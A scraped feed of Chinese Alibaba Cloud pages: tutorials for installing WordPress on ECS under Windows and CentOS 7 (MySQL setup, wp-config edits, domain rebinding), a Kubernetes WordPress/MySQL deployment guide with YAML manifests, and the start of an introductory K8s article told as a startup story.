                      • 物理路径:您WordPress的解压目录,本教程的目录为C:wordpress
                      • 端口:80。

                  5. 安装并登录WordPress。
                    1. 在ECS实例内,使用浏览器访问http://localhost/,将自动跳转至WorPress安装页面。
                    2. 填写网站基本信息,然后单击安装WordPress

                      填写信息参数说明:

                      • 站点标题:WordPress网站的名称。例如:demowp。
                      • 用户名:用户登录WordPress时使用的用户名,请注意安全性。例如:testwp。
                      • 密码:建议用户设置安全性高的密码。例如:Wp.123456。
                      • 您的电子邮件:用于接收通知的电子邮件。例如:1234567890@aliyun.com。

                    3. 单击登录
                    4. 输入您在安装WordPress时设置的用户名和密码,然后单击登录

                      成功进入您个人的WordPress网站。

                  解析WordPress网站域名

                  通过实例公网IP地址直接访问您的WordPress网站会降低服务端的安全性。如果您已有域名或者想为WordPress网站注册一个域名,可以参考以下步骤。本示例注册域名为www.WordPress.EcsQuickStart.com

                  1. 注册域名。

                    详情请参见注册通用域名

                  2. 备案。

                    如果您的域名指向的网站托管在阿里云中国内地节点服务器,您需要进行备案。如果您是首次备案,请参见首次备案,其他情况请参见ICP备案流程概述

                  3. 解析域名。将域名指向实例公网IP。

                    域名解析是使用域名访问您的网站的必备环节。具体操作流程,请参见 设置域名解析

                  4. 返回搭建WordPress网站的ECS实例,进入MySQL安装目录下的bin文件夹,按下shift键的同时,单击鼠标右键,然后选择在此处打开命令窗口

                    1

                  5. 登录MySQL数据库。

                    mysql -u root -p

                  6. 使用wordpress数据库。

                    use wordpress;

                  7. http://localhost/替换为新域名。

                    update wp_options set option_value = replace(option_value, 'http://localhost', 'http://www.WordPress.EcsQuickStart.com') where option_name = 'home' OR option_name = 'siteurl';

                    成功为WordPress网站设置新域名。

                  上一篇:手动搭建WordPress(CentOS 7)

                  下一篇:搭建Magento电子商务网站

                  相关文档

                  相关产品

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  • 专有网络 VPC

                    专有网络VPC(Virtual Private Cloud)是用户基于阿里云创建的自定义私有网络, 不同的专有网络之间二层逻辑隔离,用户可以在自己创建的专有网络内创建和管理云产品实例,比如ECS、负载均衡、RDS等。

                  • 弹性公网 IP

                    弹性公网IP(Elastic IP Address,简称EIP),是可以独立购买和持有的公网IP地址资源。EIP可绑定到专有网络类型的ECS实例、专有网络类型的私网SLB实例和NAT网关上。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  手动搭建WordPress(CentOS 7)_搭建WordPress博客平台_搭建网站_建站教程_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 手动搭建WordPress(CentOS 7)

                  更新时间:2020-03-25 21:09:28

                  本页目录

                  WordPress是使用PHP语言开发的博客平台,在支持PHP和MySQL数据库的服务器上,您可以用WordPress架设自己的网站,也可以用作内容管理系统(CMS)。本教程介绍如何在Linux操作系统的ECS实例上搭建WordPress网站。

                  前提条件

                  • 已注册阿里云账号。如还未注册,请先完成账号注册
                  • 已创建网络类型为专有网络的安全组,并且安全组的入方向添加规则并放行80端口,如果您使用SSH远程连接Linux实例,需要放行22端口。 若尚未添加规则,请先添加安全组规则
                  • 已创建Linux操作系统的ECS实例,并且手动部署LNMP环境,详情请参见手动部署LNMP环境(CentOS 7)。本教程使用的相关资源版本如下。
                    • 实例规格:ecs.c6.large
                    • 操作系统:公共镜像CentOS 7.2 64位
                    • Nginx版本:1.16.1
                    • MySQL版本:5.7.29
                    • PHP版本:7.0.33
                    • WordPress版本:5.0.4

                  说明 当您使用不同软件版本时,可能需要根据实际情况调整命令和参数配置。

                  背景信息

                  本教程适用于熟悉Linux操作系统,刚开始使用阿里云进行WordPress网站搭建的企业或个人用户。您也可以使用云市场提供的WordPress镜像快速搭建WordPress网站。详情请参见云市场镜像搭建WordPress

                  搭建WordPress网站

                  1. 通过ECS控制台,远程连接部署好LNMP环境的ECS实例,配置WordPress数据库。
                    1. 远程连接ECS实例。

                      详情请参见使用用户名密码验证连接Linux实例

                    2. 进入MySQL数据库。

                      mysql -uroot -p

                    3. 为WordPress网站创建数据库。

                      本教程中数据库名为wordpress。

                      create database wordpress;

                    4. 创建一个新用户。

                      Mysql在5.7版本后默认安装了密码强度验证插件validate_password。您可以登录Mysql后查看密码强度规则。

                      show variables like "%password%";

                      本教程中创建新用户user,新用户密码为PASSword123.

                      create user 'user'@'localhost' identified by 'PASSword123.';

                    5. 赋予用户对数据库wordpress的全部权限。

                      grant all privileges on wordpress.* to 'user'@'localhost' identified by 'PASSword123.';

                    6. 使配置生效。

                      flush privileges;

                    7. 退出MySQL。

                      exit;

                  2. 下载WordPress。

                    说明 阿里云中国内地节点服务器,下载WordPress会出现报错429 Too Many Requests。建议您多次尝试,或者通过第三方下载WordPress。

                    1. 进入/usr/share/nginx/html/目录。

                      cd /usr/share/nginx/html

                    2. 下载WordPress。

                      wget https://cn.wordpress.org/wordpress-<版本信息>.tar.gz

                      本示例中下载WordPress5.0.4中文版。

                      wget https://cn.wordpress.org/wordpress-5.0.4-zh_CN.tar.gz

                    3. 解压WordPress。

                      tar zxvf wordpress-5.0.4-zh_CN.tar.gz

                  3. 修改WordPress配置文件。
                    1. 将WordPress安装目录下的wp-config-sample.php文件复制到wp-config.php文件中,并将wp-config-sample.php文件作为备份。

                      cd /usr/share/nginx/html/wordpress
                      cp wp-config-sample.php wp-config.php

                    2. 编辑wp-config.php文件。

                      vim wp-config.php

                    3. i键切换至编辑模式,根据配置完成的wordpress数据库信息,修改MySQL相关配置信息,修改代码如下所示。

                      // ** MySQL 设置 - 具体信息来自您正在使用的主机 ** //
                      /** WordPress数据库的名称 */
                      define('DB_NAME', 'wordpress');
                      
                      /** MySQL数据库用户名 */
                      define('DB_USER', 'user');
                      
                      /** MySQL数据库密码 */
                      define('DB_PASSWORD', 'PASSword123.');
                      
                      /** MySQL主机 */
                      define('DB_HOST', 'localhost');

                    4. 修改完成后,按下Esc键后,输入:wq并回车以保存并关闭配置文件。
                  4. 安装并登录WordPress网站。
                    1. 在本地物理机上使用浏览器访问http://实例公网IP/wordpress,进入WordPress安装页面。
                    2. 填写网站基本信息,然后单击安装WordPress

                      填写信息参数说明:

                      • 站点标题:WordPress网站的名称。例如:demowp。
                      • 用户名:用户登录WordPress时使用的用户名,请注意安全性。例如:testwp。
                      • 密码:建议用户设置安全性高的密码。例如:Wp.123456。
                      • 您的电子邮件:用于接收通知的电子邮件。例如:1234567890@aliyun.com。

                    3. 单击登录
                    4. 输入在安装WordPress时设置的用户名testwp和密码Wp.123456,然后单击登录

                      成功进入您个人的WordPress网站。

                  解析WordPress网站域名

                  通过实例公网IP地址直接访问您的WordPress网站会降低服务端的安全性。如果您已有域名或者想为WordPress网站注册一个域名,可以参考以下步骤。本示例注册域名为www.WordPress.EcsQuickStart.com

                  1. 注册域名。

                    详情请参见注册通用域名

                  2. 备案。

                    如果您的域名指向的网站托管在阿里云中国内地节点服务器,您需要进行备案。如果您是首次备案,请参见首次备案,其他情况请参见ICP备案流程概述

                  3. 解析域名。将域名指向实例公网IP。

                    域名解析是使用域名访问您的网站的必备环节。具体操作流程,请参见 设置域名解析

                  4. 返回ECS控制台,远程连接已搭建WordPress网站的ECS实例,登录MySQL数据库。

                    mysql -uroot -p

                  5. 使用wordpress数据库。

                    use wordpress;

                  6. 将实例公网IP替换为新域名。

                    update wp_options set option_value = replace(option_value, 'http://实例公网IP/wordpress', 'http://www.WordPress.EcsQuickStart.com/wordpress') where option_name = 'home' OR option_name = 'siteurl';

                  7. 退出MySQL。

                    exit;

                    成功为WordPress网站设置新域名。

                  上一篇:使用ROS搭建WordPress

                  下一篇:手动搭建WordPress(Windows)

                  相关文档

                  相关产品

                  • 云服务器 ECS

                    云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

                  • 专有网络 VPC

                    专有网络VPC(Virtual Private Cloud)是用户基于阿里云创建的自定义私有网络, 不同的专有网络之间二层逻辑隔离,用户可以在自己创建的专有网络内创建和管理云产品实例,比如ECS、负载均衡、RDS等。

                  • 弹性公网 IP

                    弹性公网IP(Elastic IP Address,简称EIP),是可以独立购买和持有的公网IP地址资源。EIP可绑定到专有网络类型的ECS实例、专有网络类型的私网SLB实例和NAT网关上。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  部署有依赖关系的wordpress应用_基础入门_快速入门_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 部署有依赖关系的wordpress应用

                  更新时间:2020-01-15 19:50:05

                  编辑 我的收藏

                  新浪微博 微信 钉钉

                  本页目录

                  本文主要为您介绍如何部署有依赖关系的wordpress应用。

                  前提条件

                  背景信息

                  本例主要演示如何通过编排模板中的自定义模板创建有依赖关系的应用。

                  主要组件有:

                  • wordpress
                  • mysql

                  涉及到的资源:

                  • 存储卷管理
                  • secret管理
                  • 服务

                  操作步骤

                  1. 登录容器服务管理控制台
                  2. 使用准备好的存储卷声明。在这里创建wordpress-pvc和wordpress-mysql-pvc两个存储声明,分别在wordpress和wordpress-mysql的yaml文件中,用这两个声明挂载相应的存储卷。
                  3. 单击左侧导航栏中应用配置 > 保密字典,选择所需的集群和命名空间,单击右上角创建。创建过程请参考创建密钥

                    创建密钥

                    由于创建和访问mysql数据库需要用户名密码,所以我们通过创建密钥的方式进行用户名密码的管理。

                    在使用secret前,您需要先将需要加密的secret在保密字典里进行创建,在本例中通过将mysql root的密码作为密钥进行创建,创建名称为mysql-pass,类型选择Opaque。该密钥会在后面的wordpress和wordpress-mysql的yaml文件中用到。

                    配置密钥页面

                  4. 单击左侧导航栏中的应用 > 无状态,单击右上角使用模板创建

                    创建应用

                    选择所需的集群和命名空间,创建wordpress deployment的yaml文件如下:

                    apiVersion: apps/v1
                    kind: Deployment
                    metadata:
                      name: wordpress
                      labels:
                        app: wordpress
                    spec:
                      selector:
                        matchLabels:
                          app: wordpress
                          tier: frontend
                      strategy:
                        type: Recreate
                      template:
                        metadata:
                          labels:
                            app: wordpress
                            tier: frontend
                        spec:
                          containers:
                          - image: wordpress:4
                            name: wordpress
                            env:
                            - name: WORDPRESS_DB_HOST
                              value: wordpress-mysql  #通过名称指向需要访问的mysql,该名称与mysql service的名称相对应。
                            - name: WORDPRESS_DB_PASSWORD
                              valueFrom:
                                secretKeyRef:
                                  name: mysql-pass
                                  key: password-wordpress
                            ports:
                            - containerPort: 80
                              name: wordpress
                            volumeMounts:
                            - name: wordpress-pvc
                              mountPath: /var/www/html
                          volumes:
                          - name: wordpress-pvc
                            persistentVolumeClaim:
                              claimName: wordpress-pv-claim

                    创建mysql deployment的yaml文件如下:

                    apiVersion: apps/v1
                    kind: Deployment
                    metadata:
                      name: wordpress-mysql
                      labels:
                        app: wordpress
                    spec:
                      selector:
                        matchLabels:
                          app: wordpress
                          tier: mysql
                      strategy:
                        type: Recreate
                      template:
                        metadata:
                          labels:
                            app: wordpress
                            tier: mysql
                        spec:
                          containers:
                          - image: mysql:5.6
                            name: mysql
                            env:
                            - name: MYSQL_ROOT_PASSWORD
                              valueFrom:
                                secretKeyRef:
                                  name: mysql-pass
                                  key: password-mysql
                            ports:
                            - containerPort: 3306
                              name: mysql
                            volumeMounts:
                            - name: wordpress-mysql-pvc
                              mountPath: /var/lib/mysql
                          volumes:
                          - name: wordpress-mysql-pvc
                            persistentVolumeClaim:
                              claimName: wordpress-mysql-pv-claim

                  5. 为了使wordpress能够被外部访问,我们需要为wordpress创建service对外暴露访问方式,在这里使用LoadBalancer类型进行wordpress service的创建,容器服务会自动创建阿里云负载均衡,为用户提供外部访问。

                    wordpress mysql需要创建名为wordpress-mysql的service,以使在上面创建的wordpress deploymet可以访问到。由于该mysql只为wordpress内部调用,所以不需要为其创建LoadBalancer类型的service。

                    创建service的方法请参考创建服务

                    创建wordpress和mysql service的yaml文件如下:

                    apiVersion: v1
                    kind: Service
                    metadata:
                      name: wordpress
                      labels:
                        app: wordpress
                    spec:
                      ports:
                        - port: 80
                      selector:
                        app: wordpress
                        tier: frontend
                      type: LoadBalancer
                    ---
                    apiVersion: v1
                    kind: Service
                    metadata:
                      name: wordpress-mysql
                      labels:
                        app: wordpress
                    spec:
                      ports:
                        - port: 3306
                      selector:
                        app: wordpress
                        tier: mysql
                      clusterIP: None

                  6. 当部署完成后,单击左侧导航栏中的路由与负载均衡 > 服务,找到wordpress服务并查看其外端端点。

                    服务列表

                  7. 在浏览器中输入XX.XX.XX.XX/wp-admin/install.php,访问wordpress服务的外部端点,您就可以通过负载均衡提供的IP地址进行wordpress应用的访问。

                    此处的XX.XX.XX.XX为上步骤获取的外部端点的IP地址。

                    访问外部端点

                  后续步骤

                  在wordpress应用的配置过程中,您可以使用密钥中配置的密码登录应用,此外,wordpress应用所属的容器产生的数据会保存数据卷中。

                  上一篇:镜像创建有状态 StatefulSet 应用

                  下一篇:基于Java应用的DevOps示例

                  相关文档

                  相关产品

                  • 容器服务Kubernetes版

                    容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

                  • 容器服务(已停止服务)

                    容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

                  • 容器镜像服务

                    容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

                  以上内容是否对您有帮助?

                  在文档使用中是否遇到以下问题

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  • 内容错误

                  • 更新不及时

                  • 链接错误

                  • 缺少代码/图片示例

                  • 太简单/步骤待完善

                  • 其他

                  更多建议

                  匿名提交

                  感谢您的打分,是否有意见建议想告诉我们?

                  感谢您的反馈,反馈我们已经收到

                  文档反馈

                  ]]>
                  阿里云ECS手动搭建WordPress(Windows) Fri, 02 May 2025 09:39:04 +0800 前提条件
                  • 已注册阿里云账号。如还未注册,请先完成账号注册。

                  • 已创建网络类型为专有网络的安全组,并且安全组的入方向添加规则并放行80端口及3389端口。 添加规则的具体操作请参见添加安全组规则。

                  • 已创建Windows操作系统的ECS实例,并且已经部署Web环境,详情请参见部署Web环境。本教程使用的软件版本如下。

                    • 操作系统:Windows Server 2012 R2 64位中文版

                    • IIS服务版本:7.5

                    • PHP版本:7.0.28

                    • MySQL版本:5.7

                    • WordPress版本:5.3.2

                  说明 当您使用不同软件版本时,可能需要根据实际情况调整参数配置。


                  搭建WordPress网站

                  1. 通过ECS控制台,远程连接部署好Web环境的ECS实例,下载WordPress。

                    1. 远程连接ECS实例。

                      详情请参见通过Workbench远程连接Windows实例。

                    2. 前往WordPress官网下载WordPress安装包。

                      本教程下载的版本为5.3.2。

                      说明 阿里云中国内地地域的节点服务器,下载WordPress会出现报错429 Too Many Requests。建议您多次尝试,或者通过第三方下载WordPress。

                    3. 解压WordPress安装包。

                      本教程将安装包解压至C:\wordpress目录下。

                  2. 为WordPress网站创建MySQL数据库。

                    1. 进入MySQL安装目录下的bin文件夹,按下shift键的同时,单击鼠标右键,然后选择在此处打开命令窗口

                      1

                    2. 打开MySQL数据库。

                      mysql -u root -p
                    3. 创建数据库。

                      本教程为WordPress网站创建数据库wordpress。

                      create database wordpress;
                  3. 配置WordPress。

                    1. 在WordPress解压路径C:\wordpress下,找到wp-config-sample.php文件,复制该文件,并将副本文件重命名为wp-config.php

                    2. 使用文本编辑器打开wp-config.php文件,修改与创建好的MySQL数据库wordpress有关的信息。

                      如下图所示:1

                    3. 保存wp-config.php文件。

                  4. 在服务器管理器中添加wordpress网站。

                    • 网站名称:自定义网站名称,本教程使用wordpress作为网站名称。

                    • 应用程序池:DefaultAppPool。

                    • 物理路径:您WordPress的解压目录,本教程的目录为C:\wordpress

                    • 端口:80。

                    1. 在Windows任务栏找到服务器管理器并打开。

                    2. 在服务器管理器右侧导航栏,单击工具 > Internet Information Service (IIS)管理器

                      1

                    3. 连接列表,单击服务器名称 > 网站

                    4. 将已绑定80端口的网站删除,或者修改80端口为其他未被占用的端口号,例如:8080端口。

                      1

                    5. 在右侧操作列,单击添加网站,添加wordpress网站。

                      添加信息如下图所示:1

                      配置说明:

                  5. 安装并登录WordPress。

                    • 站点标题:WordPress网站的名称。例如:demowp。

                    • 用户名:用户登录WordPress时使用的用户名,请注意安全性。例如:testwp。

                    • 密码:建议用户设置安全性高的密码。例如:Wp.123456。

                    • 您的电子邮件:用于接收通知的电子邮件。例如:1234567890@aliyun.com。

                    1. 在ECS实例内,使用浏览器访问http://localhost/,将自动跳转至WorPress安装页面。

                    2. 填写网站基本信息,然后单击安装WordPress

                      填写信息参数说明:

                    3. 单击登录

                    4. 输入您在安装WordPress时设置的用户名和密码,然后单击登录

                      成功进入您个人的WordPress网站。

                  解析WordPress网站域名

                  通过实例公网IP地址直接访问您的WordPress网站会降低服务端的安全性。如果您已有域名或者想为WordPress网站注册一个域名,可以参考以下步骤。本示例注册域名为www.WordPress.EcsQuickStart.com

                  1. 注册域名。

                    详情请参见注册通用域名。

                  2. 备案。

                    如果您的域名指向的网站托管在阿里云中国内地节点服务器,您需要进行备案。如果您是首次备案,请参见首次备案,其他情况请参见ICP备案流程概述。

                  3. 解析域名。将域名指向实例公网IP。

                    域名解析是使用域名访问您的网站的必备环节。具体操作流程,请参见 设置域名解析。

                  4. 返回搭建WordPress网站的ECS实例,进入MySQL安装目录下的bin文件夹,按下shift键的同时,单击鼠标右键,然后选择在此处打开命令窗口

                    1

                  5. 登录MySQL数据库。

                    mysql -u root -p
                  6. 使用wordpress数据库。

                    use wordpress;
                  7. http://localhost/替换为新域名。

                    update wp_options set option_value = replace(option_value, 'http://localhost', 'http://www.WordPress.EcsQuickStart.com') where option_name = 'home' OR option_name = 'siteurl';

                    成功为WordPress网站设置新域名。




                  ]]>
                  阿里云ECS手动搭建WordPress(CentOS 7) Fri, 02 May 2025 09:39:04 +0800 WordPress是使用PHP语言开发的博客平台,在支持PHP和MySQL数据库的服务器上,您可以用WordPress架设自己的网站,也可以用作内容管理系统(CMS)。本教程介绍如何在Linux操作系统的ECS实例上搭建WordPress网站。

                  前提条件

                  • 已注册阿里云账号。如还未注册,请先完成账号注册。

                  • 已创建网络类型为专有网络的安全组,并且安全组的入方向添加规则并放行80端口,如果您使用SSH远程连接Linux实例,需要放行22端口。 若尚未添加规则,请先添加安全组规则。

                  • 已创建Linux操作系统的ECS实例,并且手动部署LNMP环境,详情请参见手动部署LNMP环境(CentOS 7)。本教程使用的相关资源版本如下。

                    • 实例规格:ecs.c6.large

                    • 操作系统:公共镜像CentOS 7.2 64位

                    • Nginx版本:1.16.1

                    • MySQL版本:5.7.29

                    • PHP版本:7.0.33

                    • WordPress版本:5.0.4

                  说明 当您使用不同软件版本时,可能需要根据实际情况调整命令和参数配置。

                  背景信息

                  本教程适用于熟悉Linux操作系统,刚开始使用阿里云进行WordPress网站搭建的企业或个人用户。您也可以使用云市场提供的WordPress镜像快速搭建WordPress网站。详情请参见云市场镜像搭建WordPress。

                  搭建WordPress网站

                  1. 通过ECS控制台,远程连接部署好LNMP环境的ECS实例,配置WordPress数据库。

                    1. 远程连接ECS实例。

                      详情请参见使用用户名密码验证连接Linux实例。

                    2. 进入MySQL数据库。

                      mysql -uroot -p
                    3. 为WordPress网站创建数据库。

                      本教程中数据库名为wordpress。

                      create database wordpress;
                    4. 创建一个新用户。

                      Mysql在5.7版本后默认安装了密码强度验证插件validate_password。您可以登录Mysql后查看密码强度规则。

                      show variables like "%password%";

                      本教程中创建新用户user,新用户密码为PASSword123.

                      create user 'user'@'localhost' identified by 'PASSword123.';
                    5. 赋予用户对数据库wordpress的全部权限。

                      grant all privileges on wordpress.* to 'user'@'localhost' identified by 'PASSword123.';
                    6. 使配置生效。

                      flush privileges;
                    7. 退出MySQL。

                      exit;
                  2. 下载WordPress。

                    说明 阿里云中国内地节点服务器,下载WordPress会出现报错429 Too Many Requests。建议您多次尝试,或者通过第三方下载WordPress。

                    1. 进入/usr/share/nginx/html/目录。

                      cd /usr/share/nginx/html
                    2. 下载WordPress。

                      wget https://cn.wordpress.org/wordpress-<版本信息>.tar.gz

                      本示例中下载WordPress5.0.4中文版。

                      wget https://cn.wordpress.org/wordpress-5.0.4-zh_CN.tar.gz
                    3. 解压WordPress。

                      tar zxvf wordpress-5.0.4-zh_CN.tar.gz
                  3. 修改WordPress配置文件。

                    1. 将WordPress安装目录下的wp-config-sample.php文件复制到wp-config.php文件中,并将wp-config-sample.php文件作为备份。

                      cd /usr/share/nginx/html/wordpresscp wp-config-sample.php wp-config.php
                    2. 编辑wp-config.php文件。

                      vim wp-config.php
                    3. i键切换至编辑模式,根据配置完成的wordpress数据库信息,修改MySQL相关配置信息,修改代码如下所示。

                      // ** MySQL 设置 - 具体信息来自您正在使用的主机 ** ///** WordPress数据库的名称 */define('DB_NAME', 'wordpress');/** MySQL数据库用户名 */define('DB_USER', 'user');/** MySQL数据库密码 */define('DB_PASSWORD', 'PASSword123.');/** MySQL主机 */define('DB_HOST', 'localhost');
                    4. 修改完成后,按下Esc键后,输入:wq并回车以保存并关闭配置文件。

                  4. 安装并登录WordPress网站。

                    • 站点标题:WordPress网站的名称。例如:demowp。

                    • 用户名:用户登录WordPress时使用的用户名,请注意安全性。例如:testwp。

                    • 密码:建议用户设置安全性高的密码。例如:Wp.123456。

                    • 您的电子邮件:用于接收通知的电子邮件。例如:1234567890@aliyun.com。

                    1. 在本地物理机上使用浏览器访问http://实例公网IP/wordpress,进入WordPress安装页面。

                    2. 填写网站基本信息,然后单击安装WordPress

                      填写信息参数说明:

                    3. 单击登录

                    4. 输入在安装WordPress时设置的用户名testwp和密码Wp.123456,然后单击登录

                      成功进入您个人的WordPress网站。

                  解析WordPress网站域名

                  通过实例公网IP地址直接访问您的WordPress网站会降低服务端的安全性。如果您已有域名或者想为WordPress网站注册一个域名,可以参考以下步骤。本示例注册域名为www.WordPress.EcsQuickStart.com

                  1. 注册域名。

                    详情请参见注册通用域名。

                  2. 备案。

                    如果您的域名指向的网站托管在阿里云中国内地节点服务器,您需要进行备案。如果您是首次备案,请参见首次备案,其他情况请参见ICP备案流程概述。

                  3. 解析域名。将域名指向实例公网IP。

                    域名解析是使用域名访问您的网站的必备环节。具体操作流程,请参见 设置域名解析。

                  4. 返回ECS控制台,远程连接已搭建WordPress网站的ECS实例,登录MySQL数据库。

                    mysql -uroot -p
                  5. 使用wordpress数据库。

                    use wordpress;
                  6. 将实例公网IP替换为新域名。

                    update wp_options set option_value = replace(option_value, 'http://实例公网IP/wordpress', 'http://www.WordPress.EcsQuickStart.com/wordpress') where option_name = 'home' OR option_name = 'siteurl';
                  7. 退出MySQL。

                    exit;

                    成功为WordPress网站设置新域名。


                  ]]>
                  换个角度入门 K8s-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

                  0 序

                  去年下半年,我做了一次转岗,开始接触到 kubernetes,虽然对 K8s 的认识还非常的不全面,但是非常想分享一下自己的一些收获,希望通过本文能够帮助大家对 K8s 有一个入门的了解。文中有不对的地方,还请各位老司机们帮助指点纠正。

                  其实介绍 K8s 的文章,网上一搜一大把,而且 kubernetes 官方文档也写的非常友好,所以直接上来讲 K8s,我觉得我是远远不如网上的一些文章讲的好的,所以我想换一个角度,通过一个业务发展的故事,来讲一下 K8s 是怎么出现的,它又是如何运作的。

                  本文适合所有搞技术的同学,特别是前端的同学,因为前端工程化近几年发展的非常迅猛,K8s 目前解决的问题和发展的形式,我相信假以时日也会出现在前端领域,毕竟不同领域的工程化发展其实是殊途同归的。

                  1 故事开始

                  随着中国老百姓生活水平的不断提高,家家户户都有了小汽车,小王预计 5 年后,汽车报废业务将会迅速发展,而且国家在 19 年也出台了新政策《报废机动车回收管理办法》,取消了汽车报废回收的“特种行业”属性,将开放市场化的竞争。

                  小王觉得这是一个创业的好机会,于是找到了我和几个志同道合的小伙伴开始了创业,决定做一个叫“淘车网”的平台。

                  2 故事发展

                  淘车网一开始是一个 all in one 的 Java 应用,部署在一台物理机上(小王同学,现在都啥时候了,你需要了解一下阿里云),随着业务的发展,发现机器已经快扛不住了,就赶紧对服务器的规格做了升级,从 64C256G 一路升到了 160C1920G,虽然成本高了点,但是系统至少没出问题。

                  业务发展了一年后,160C1920G 也扛不住了,不得不进行服务化拆分、分布式改造了。为了解决分布式改造过程中的各种问题,引入了一系列的中间件,类似 hsf、tddl、tair、diamond、metaq 这些,在艰难的业务架构改造后,我们成功的把 all in one 的 Java 应用拆分成了多个小应用,重走了一遍阿里当年中间件发展和去 IOE 的道路。

                  分布式改完了后,我们管理的服务器又多起来了,不同批次的服务器,硬件规格、操作系统版本等等都不尽相同,于是应用运行和运维的各种问题就出来了。

                  还好有虚拟机技术,把底层各种硬件和软件的差异,通过虚拟化技术都给屏蔽掉啦,虽然硬件不同,但是对于应用来说,看到的都是一样的啦,但是虚拟化又产生了很大的性能开销。

                  恩,不如我们使用 docker 吧,因为 docker 基于 cgroup 等 linux 的原生技术,在屏蔽底层差异的同时,也没有明显的性能影响,真是一个好东西。而且基于 docker 镜像的业务交付,使得我们 CI/CD 的运作也非常的容易啦。

                  不过随着 docker 容器数量的增长,我们又不得不面对新的难题,就是大量的 docker 如何调度、通信呢?毕竟随着业务发展,淘车网已经不是一个小公司了,我们运行着几千个 docker 容器,并且按照现在的业务发展趋势,马上就要破万了。

                  不行,我们一定要做一个系统,这个系统能够自动的管理服务器(比如是不是健康啊,剩下多少内存和 CPU 可以使用啊等等)、然后根据容器声明所需的 CPU 和 memory 选择最优的服务器进行容器的创建,并且还要能够控制容器和容器之间的通信(比如说某个部门的内部服务,当然不希望其他部门的容器也能够访问)。

                  我们给这个系统取一个名字,就叫做容器编排系统吧。

                  3 容器编排系统

                  那么问题来了,面对一堆的服务器,我们要怎么实现一个容器编排系统呢?

                  先假设我们已经实现了这个编排系统,那么我们的服务器就会有一部分会用来运行这个编排系统,剩下的服务器用来运行我们的业务容器,我们把运行编排系统的服务器叫做 master 节点,把运行业务容器的服务器叫做 worker 节点。

                  既然 master 节点负责管理服务器集群,那它就必须要提供出相关的管理接口,一个是方便运维管理员对集群进行相关的操作,另一个就是负责和 worker 节点进行交互,比如进行资源的分配、网络的管理等。

                  我们把 master 上提供管理接口的组件称为 kube apiserver,对应的还需要两个用于和 api server 交互的客户端,一个是提供给集群的运维管理员使用的,我们称为 kubectl;一个是提供给 worker 节点使用的,我们称为 kubelet。

                  现在集群的运维管理员、master 节点、worker 节点已经可以彼此间进行交互了,比如说运维管理员通过 kubectl 向 master 下发一个命令,“用淘车网用户中心 2.0 版本的镜像创建 1000个 容器”,master 收到了这个请求之后,就要根据集群里面 worker 节点的资源信息进行一个计算调度,算出来这 1000 个容器应该在哪些 worker 上进行创建,然后把创建指令下发到相应的 worker 上。我们把这个负责调度的组件称为 kube scheduler。

                  那 master 又是怎么知道各个 worker 上的资源消耗和容器的运行情况的呢?这个简单,我们可以通过 worker 上的 kubelet 周期性的主动上报节点资源和容器运行的情况,然后 master 把这个数据存储下来,后面就可以用来做调度和容器的管理使用了。至于数据怎么存储,我们可以写文件、写 db 等等,不过有一个开源的存储系统叫 etcd,满足我们对于数据一致性和高可用的要求,同时安装简单、性能又好,我们就选 etcd 吧。

                  现在我们已经有了所有 worker 节点和容器运行的数据,我们可以做的事情就非常多了。比如前面所说的,我们使用淘车网用户中心 2.0 版本的镜像创建了 1000 个容器,其中有5个容器都是运行在 A 这个 worker 节点上,那如果 A 这个节点突然出现了硬件故障,导致节点不可用了,这个时候 master 就要把 A 从可用 worker 节点中摘除掉,并且还需要把原先运行在这个节点上的 5 个用户中心 2.0 的容器重新调度到其他可用的 worker 节点上,使得我们用户中心 2.0 的容器数量能够重新恢复到 1000 个,并且还需要对相关的容器进行网络通信配置的调整,使得容器间的通信还是正常的。我们把这一系列的组件称为控制器,比如节点控制器、副本控制器、端点控制器等等,并且为这些控制器提供一个统一的运行组件,称为控制器管理器(kube-controller-manager)。

